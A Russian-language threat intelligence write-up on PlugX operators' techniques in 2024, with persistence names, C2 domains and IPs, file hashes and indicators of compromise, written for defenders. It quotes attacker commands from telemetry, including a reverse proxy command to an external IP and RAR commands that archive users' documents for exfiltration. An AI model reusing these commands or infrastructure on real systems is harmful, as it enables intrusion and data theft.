PlugX - очень старый инструментарий. Мы его наблюдали у заказчиков еще в 2016, вполне возможно, появился он еще раньше. По причине того, что ребята его использующие, предположительно, находятся на службе и компрометация для них - боевая задача, которая не может быть не выполнена, а если доступ потерян, он должен быть возвращен, PlugX продолжает поддерживаться, развиваться и до сих пор используется. В заметке поделюсь какие тактики и техники используют ребята-операторы PlugX, по состоянию на весну 2024.
Интересные особенности
После повышения привилегий ВПО создает процесс userinit.exe с различными целочисленными параметрами, одиy из которых представляет собой PID вновь созданного процесса (в нормальных условиях userinit.exe запускается без параметров), пример такого запуска:
C:\Windows\system32\userinit.exe 709 4800
где 4800 - PID самого userinit.exe в момент данного запуска.
Именованные каналы RUN_AS_USER используются для получения команд для подключаемых модулей. DLL sideloading - супер популярный механизм, наблюдаемый практически везде. При этом используется огромное количество легитимных бинарей, уязвимых к этой технике. Кроме того, наблюдалось использование DLL sideloading для развертывания ShadowPad путем чтения дополнительной зашифрованной полезной нагрузки из файла DAT, с названием, аналогичным загружаемой вредоносной DLL. Еще одна интересная активность, замеченная в телеметрии, — это возможное туннелирование, использующее порты 93, 83 и 65: имплант инициирует локальные туннели через эти порты, создавая сетевое соединение с самим собой по протоколу UDP, однако эта активность также может быть связана с упомянутыми выше именованными каналами.
Мы наблюдали большую часть этой активности между 10:28 и 17:12 GMT+8 (китайское стандартное время), в первые дни рабочей недели, однако, некоторые непродолжительные действия злоумышленников также выполнялись утром в воскресенье.
Discovery
Сбор информации о сети и домене выполняется с использованием стандартных утилит, таких как ping, arp, ipconfig /all, tasklist, netstat. Эти задачи, предположительно, жестко закодированы и могут не требовать присутствия оператора-человека. Однако, замечалось и вмешательство человека: при этом использовались переименованные утилиты и специфичные для конкретного хоста и времени параметры командной строки. Например, на одном хосте была замечена активность по обнаружению процессов запущенного EPP (приведенные команды, вероятно, запускались через пайп, а ошибка в указании кавычек при первом запуске свидетельствует об интерактивной работе оператора):
tasklist
find 4828
tasklist
find "4828"
Предположительно, искали этот процесс: C:\Program Files (x86)\Kaspersky Lab\KES.12.2.0\avp.exe (PID: 4828)
Вот еще пример работы оператора из необычного рабочего каталога в части поиска определенного запущенного ПО:
C:\Windows\system32\cmd.exe /S /D /c" dir /s /b c:\"
findstr preferences
findstr anyconnect
C:\Windows\system32\cmd.exe /S /D /c" dir /s /b c:\"
findstr AnyConnect
Рабочий каталог - C:\Users\<username>\AppData\Local\Palo Alto Networks\GlobalProtect\.
Credential Access
В телеметрии зафиксированы многократные попытки обращения к памяти LSASS, а также к контекстам нескольких пользователей, с привилегиями Domain Admins и Enterprise Admins.
Command and Control
Взаимодействие с командными центрами происходит по стандартному протоколу TLS через порт 443/TCP. На момент наблюдения активности командные центы были следующие (ссылки здесь и далее даны на Open TIP):
microsoftclouds[.]host
amazoncloudshost[.]com
icloudslink[.]com
ich124j9zdf215vb[.]net
update.amazoncloudshost[.]com
cloud.microsoft-ns1[.]com
public[.]megadatacloud[.]com
Пивотингом был найден еще C&C googleclouds[.]online.
Замеченные IP-адреса командных центров - 80.97.96[.]14, 103.230.142[.]67, 103.230.142[.]47, 103.149.90[.]235, 103.149.90[.]235, 158.247.194[.]2.
Также в ряде инцидентов замечено использование proxy:
c:\programdata\ssh\igu.exe proxy -r *158.247.194.2:8008 -k 77686f616d88
Persistence
Наблюдаемый нами PlugX закреплялся через задачи планировщика и службы операционной системы, при этом имитируя легитимные названия служб и задач. Для запуска используется DLL sideloading для множества различных легитимных бинарей. Ниже привел примеры конкретных артефактов.
Задачи планировщика:
C:\Windows\System32\Tasks\CheckDaily
C:\Windows\System32\Tasks\HP Digital Image
C:\Windows\System32\Tasks\HP Scan Imaging
C:\Windows\System32\Tasks\KESDATA
C:\Windows\System32\Tasks\Master Service Log
C:\Windows\System32\Tasks\MicroSoft Image
C:\Windows\System32\Tasks\Nvidia Control Panel API Server
C:\Windows\System32\Tasks\Windows Ace Update Service
Сервисы ОС Windows:
HKLM\SYSTEM\ControlSet001\Services\BitDefender Crash Handler
HKLM\SYSTEM\ControlSet001\Services\CheckDaily
HKLM\SYSTEM\ControlSet001\Services\Defender Update Services
HKLM\SYSTEM\ControlSet001\Services\HP Scan Imaging
HKLM\SYSTEM\ControlSet001\Services\Master Service Log
HKLM\SYSTEM\ControlSet001\Services\MicroBluetoothDatabseService
HKLM\SYSTEM\ControlSet001\Services\Nvidia Control Panel API Server
HKLM\SYSTEM\ControlSet001\Services\VMware Tools Services
HKLM\SYSTEM\ControlSet001\Services\Windows Ace Update Service
HKLM\SYSTEM\ControlSet001\Services\Windows Crash Handler
HKLM\SYSTEM\ControlSet001\Services\Windows Data
HKLM\SYSTEM\ControlSet001\Services\Windows Defender Update
HKLM\SYSTEM\ControlSet001\Services\Windows Media Update
HKLM\SYSTEM\ControlSet002\Services\BitDefender Crash Handler
HKLM\SYSTEM\ControlSet002\Services\Defender Update Services
HKLM\SYSTEM\ControlSet002\Services\Windows Crash Handler
HKLM\SYSTEM\ControlSet002\Services\Windows Defender Update
Defense evasion
Как отмечалось выше, бэкдор пытается скрываться, используя легитимные имена при закреплении. Кроме того, как уже отмечалось, широко используется DLL sideloading для великого множества уязвимых бинарей, в том числе и из состава решений по безопасности.
Вот некоторые примеры.
MD5: 64FF0A8730472E36E62CE29A20F61529
Оригинальное имя: AROTutorial.exe
Замаскированное имя: aro.exe
Расположение: C:\Program Files (x86)\Common Files\CheckDaily\, C:\Program Files (x86)\Common Files\HP Digital\, C:\Program Files (x86)\Common Files\KESDATA\, C:\Program Files (x86)\Common Files\MicroSoft Image\, C:\Program Files (x86)\Common Files\Windows Data\
MD5: 6CB1E6568D9BF4E1191318EBD3D4D602
Оригинальное имя: master_vpn-service.exe
Замаскированное имя: upservice.exe
Расположение: C:\WINDOWS\Vss\Service Log\, C:\Windows\Up\Service Log\
MD5: 8A8DB1E20DC508AF5A81FC00B1929468
Оригинальное имя: BDReinit.exe (BitDefender Crash Handler)
Расположение: C:\Program Files (x86)\Windows Defender Update\, C:\Program Files (x86)\Windows Media Update\, C:\Program Files (x86)\BitDefender Update\
MD5: B830CD1B49BD31BCDB6192C20CF0B141
Оригинальное имя: Smadav.exe
Расположение: C:\Program Files (x86)\Common Files\VMware Tools\, C:\Program Files (x86)\Common Files\Windows Defender\
MD5: BBF8F831C7720DD5135D8C4C8325187A
Оригинальное имя: atkexComSvc.exe
Расположение: C:\Program Files (x86)\Common Files\Nvidia Vision Control Panel Server\
MD5: C0548D5CF9BCE996D9FC14C774549195
Оригинальное имя: vina-ca_mgr.exe
Замаскированное имя: acecertd.exe
Расположение: C:\Program Files (x86)\Common Files\System\ace\
MD5: C8DA6CC2311270124C310B973F7FF5CE
Оригинальное имя: TosHdpDb.exe
Расположение: C:\Program Files (x86)\Microsoft\Bluetooth HDP Database\
MD5: CA73DA8345DE507AC023D52B4B5C1814
Расположение и оригинальное имя: C:\Program Files (x86)\IObit\imfsbSvc.exe
MD5: 83A20DEC85113BBF041E5389C9A4710B
Расположение и оригинальное имя: C:\Program Files (x86)\Common Files\System\kme\kmrefresh.exe
MD5: 4EF7B58B30CF20C16BC201E40DB56431
Расположение и оригинальное имя: C:\Windows\SysWOW64\igfxcfg.exe
Collection
Сбор данных осуществляется с использованием переименованного архиватора RAR. Наблюдались следующие расположения, но ничто не мешает оператору собирать данные и в других каталогах:
C:\ProgramData\Microsoft\Crypto\Keys\sys.exe
C:\ProgramData\Microsoft\Crypto\Keys\CryKey.exe
C:\ProgramData\Microsoft\DRM\Server\sys.exe
Все три бинарных файла одинаковы:
MD5: 686CD35776938625F764EBDEF2E0D9F4
Подписан: win.rar GmbH
Размер: 607.71 KB (622296 B)
Последние документы пользователя (Recent) собираются в архив RAR с расширением DAT, используется пароли, похожие на keyboard walk:
sys.exe a -r -ed -m3 -dh -tk -p!qaz@wsx@wsx147369258 -ta2024-02-10 -sl10485760 -n*.doc* -n*.pdf -n*.xls* asp0226.dat "C:\Users\"
sys.exe a -r -ed -m3 -dh -tk -p!qaz@wsx@wsx147369258 -ta2024-02-19 -sl10485760 -n*.doc* -n*.pdf -n*.xls* -n*.ppt* asb0228.dat "C:\Users\<username>"
crykey.exe a -r -ed -m3 -dh -tk -p!qaz@wsx@wsx147369258 -ta2024-02-01 -sl10485760 -n*.doc* -n*.pdf -n*.xls* asb0220.dat "C:\Users\<username>"
Exfiltration
Эксфильтрация данных производится через указанные выше командные центры с использованием туннелирования, описанного в первом разделе. Примеры путей, по которым располагаются файлы перед экфильтрацией:
C:\Users\Public\Downloads\
C:\ProgramData\Microsoft\DRM\Server\
C:\ProgramData\Microsoft\Crypto\Keys\
Initial Access
Наблюдаемые сценарии первоначального пробива чаще всего оказывались эксплуатацией с периметра, в частности - эксплуатация серверов Exchange. Обнаруженные web shell-ы имели самое ранее время создания на файловой системе - ноябрь 2019, т.е. возможное время нахождения атакующего в инфраструктуре превышает 4 года. Вместе с тем, имелись и свежие, с временем создания вплоть до поздней осени 2023 года. Причем по некоторым обнаруженным web shell-ам не наблюдались запуски, файлы просто лежали на файловой системе, видимо, ждали своей очереди.
Примеры web shell-ов:
MD5: 813C43DA70B9B82C8223E29CA5630A2C
Вердикт: Backdoor.ASP.WebShell.fv
MD5: 9DB927D09AD57E44A4B1F5D4E4B48996
Вердикт: Trojan.Script.Agent.nf
Здесь следует отметить, что в 2016 году операторы PlugX заходили в жертв через почтовый фишинг с вложенными офисными документами. Поэтому можно предположить. что какой-то специализации или "любимого" метода первоначального взлома у ребят нет - используют все, что приносит результат.
Lateral movement
Наблюдаемые горизонтальные перемещения, в добавление к упомянутым в разделе Закрепление задачам планировщика и созданию служб (часто наблюдается использование psexec, который также работает через удаленное создание службы PSEXESVC.exe), - через сетевые SMB папки, что подтверждается и другими исследованиями.
Индикаторы компрометации
В дополнение к упомянутым выше сетевым C&C перечислю хостовые индикаторы и вердикты продукта, которые также могут использоваться для поиска релевантной активности и пивотинга. Как несложно заметить, в основном это DLL, подгружаемые в легитимные бинарные файлы (список легитимных бинарей приведен в разделе Defense evasion) через DLL Sideloading.
Расположение: C:\Program Files (x86)\Common Files\System\ace\Vina-CAv3.dll
MD5: 0677FFB35FA1D86FAA22A0A31BEE308B
Вердикт: Trojan.Win32.Agentb.lmme
Расположение: C:\Program Files (x86)\Common Files\System\ace\Vina-CAv3.dll
MD5: FE469206A86FB9DA34E95213EB6D5DD7
Вердикт: Trojan.Win32.Loader.vu
Расположение: C:\Program Files (x86)\Common Files\Nvidia Vision Control Panel Server\asio.dll
MD5: 2980ca71fe1de20682335c07cc126feb
Вердикт: Trojan.Win32.Loader.vs
Расположение: C:\Program Files (x86)\Microsoft\Bluetooth HDP Database\TosHdpAPI.dll
MD5: 54ade5d6afeff77cbd5c92912265f366
Вердикт: Trojan.Win32.Loader.vt
Расположение: C:\Windows\Temp\WebInstaller\DgApi.dll
MD5: 61B5E533B8C6C1B8A55E1ADE532BCFFD
Вердикт: Trojan.Win64.Agent.qwjvtj
Расположение: C:\Program Files (x86)\IObit\imfsbDll.dll
MD5: 481E0604077326D621082B103BE091D8
Вердикт: Trojan.Win64.DLLhijack.hy
Расположение: C:\Program Files (x86)\Common Files\System\kme\coreglobconfig.dll, C:\Users\Public\Documents\coreglobconfig.dll
MD5: 6C3F873315AAB0C9BA4C29DFEA17457C
Вердикт: Trojan.Win32.Agentb.mcvt
Расположение: C:\Windows\SysWOW64\hccutils.dll
MD5: 6C7553898E860A186CEBE6044EFFA9B6
Вердикт: HEUR:Trojan.Win32.Agentb.gen